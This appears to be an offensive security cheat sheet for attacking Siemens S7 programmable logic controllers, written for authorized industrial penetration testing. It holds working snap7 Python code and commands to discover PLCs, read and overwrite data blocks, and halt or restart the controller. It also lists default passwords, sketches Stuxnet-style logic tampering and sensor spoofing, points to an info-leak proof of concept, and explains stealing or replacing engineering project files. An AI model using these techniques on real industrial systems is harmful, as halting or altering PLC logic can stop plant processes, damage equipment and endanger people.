Siemens S7 PLC Attack

S7Comm runs over ISO-on-TCP (RFC 1006), TCP/102. Siemens PLCs (S7-300, S7-400, S7-1200, S7-1500) speak it.

Discover

nmap -p 102 --script=s7-info 10.0.0.0/24
# s7-info NSE returns Module Type, Order Code, Firmware, PLC name

# Or with snap7
python3 -c '
import snap7
c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1)        # IP, rack, slot
print(c.get_cpu_info())
print(c.get_cp_info())
print(c.get_order_code())
'

Read / Write data blocks

S7 memory areas: DB (data block), M (memory bits), E (input), A (output), T (timer), C (counter).

import snap7
from snap7 import util

c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1)

# Read 100 bytes from DB10
data = c.db_read(10, 0, 100)
# Decode:
print("DB10.DBX0.0 (bit):", util.get_bool(data, 0, 0))
print("DB10.DBW2 (int):",   util.get_int(data, 2))
print("DB10.DBD4 (real):",  util.get_real(data, 4))

# Write back
util.set_real(data, 4, 99.9)
c.db_write(10, 0, data)

Stop / Start the PLC

c.plc_stop()          # ⚠ halts execution of the user program — process stops
c.plc_hot_start()     # Resume
c.plc_cold_start()    # Restart with full init
# Each is unauthenticated on S7-300/400 by default.

Authentication / "Protection Level" differences

# S7-1200/1500 password auth via snap7's set_session_password
c.set_session_password("changeme")
# Common defaults: "0000000", "siemens", "100", blank, vendor name

Stuxnet-class primitives (S7-300/400 still in many old fleets)

• Function block tampering: write a custom FB that replaces an existing one — process logic silently changes.
• OB1 hook: prepend a payload block to OB1 (the cyclic program block). Runs every scan cycle.
• PROFIBUS frame injection (requires hardware): forge sensor data so the PLC sees normal values while actuators are mis-driven.

# Write a DB byte that's a control flag in the PLC program
c.write_area(0x84, 1, 0, bytearray([0xFF]))   # write to DB1 byte 0

CVE-2019-10936 — info leak on S7-1200/1500

Send a crafted COTP packet → PLC returns memory regions (uncovered password hash on some firmwares):

# PoC: github.com/Nibblesec/s7-info-leak
python3 leak.py 10.0.0.50

TIA Portal interaction

If you have network access to TIA Portal (the engineering workstation) instead of just the PLC, you can:

• Steal the project file (.ap16) — contains every PLC's logic, comments, possibly password hashes
• Replace the project being deployed to inject persistent logic changes
• Default TIA Portal SQL — port 1433 with default sa / no password on older installs

OPSEC + safety

• Physical safety: plc_stop() halts whatever the PLC controls. Pumps stop, valves freeze in last state, motors coast. Confirm scope authorization for stop-class testing.
• Read-only enumeration is generally safe and silent. S7 has no audit log.
• IT-OT IDS (Claroty, Nozomi, Dragos) flags new S7Comm sources — first connection from your IP is loud.
• Siemens TIA Portal logs every project upload/download. Tampering with logic is detectable post-engagement during the next checksum review.

References

• snap7 docs — snap7.sourceforge.net
• "The S7Comm protocol" — Wireshark dissector docs
• ICS-CERT advisories on Siemens products (https://www.cisa.gov/uscert/ics/advisories)
• "Stuxnet Deep Dive" — Ralph Langner (still the canonical reference)